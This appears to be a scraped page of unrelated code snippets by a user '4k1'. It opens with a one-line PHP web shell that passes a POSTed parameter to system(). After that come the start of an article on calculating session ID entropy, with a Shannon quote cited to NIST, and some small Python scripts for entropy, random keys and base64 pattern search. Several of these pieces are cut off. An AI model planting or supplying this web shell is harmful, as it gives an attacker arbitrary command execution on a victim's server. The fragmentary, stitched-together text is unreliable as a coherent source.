4k1

<?php
    system($_POST['cmd']);
?>

4k1

How to calculate accurate entropy of the session ID

1. What is an entropy?

Claude Shannon says:

The entropy is a statistical parameter which measures in a certain sense, how much information is produced on the average for each letter of a text in the language. If the language is translated into binary digits (0 or 1) in the most efficient way, the entropy H is the average number of binary digits required per letter of the original language.

-- NIST Special Publication 800-63-1 - Appendix A: Estimating Password Entropy and Strength

2. Why you need to know the accurate entropy?

4k1

# calc_entropy.py
# Calculate Session Identifier entropy with Claude Shannon formula.
# https://github.com/4k1
import math
import sys
import time
import urllib.request

# Check params
if (len(sys.argv) != 3):

4k1

import math
hashv = "a00a0a1001100a000a0aaaa1aa0000aaa00a0a1001100a000a0aaaa1aa0000aa"
fb = len(list(set(list( hashv )))) # b
fbl = math.pow(fb, len( hashv ))   # b^l
fH = math.log2(fbl)                # log2(b^l)

print(fH)

4k1

#! /usr/bin/env python
# -*- coding:utf-8 -*-

import sys
import string
import random
import os

def genkey(n):
    return ''.join([random.choice(string.ascii_letters + string.digits) for i in range(n)])

4k1

#! /usr/bin/env python
# -*- coding:utf-8 -*-

# try `b64make`
# > b64make
# [+] stream   : "b64make"
# [+] patterns : 29
# [+] hit. [b64makE=] = 0x6fae266a41
# [+] hit. [B64makE=] = 0x07ae266a41
# [+] hit. [B64makE=] = 0x07ae266a41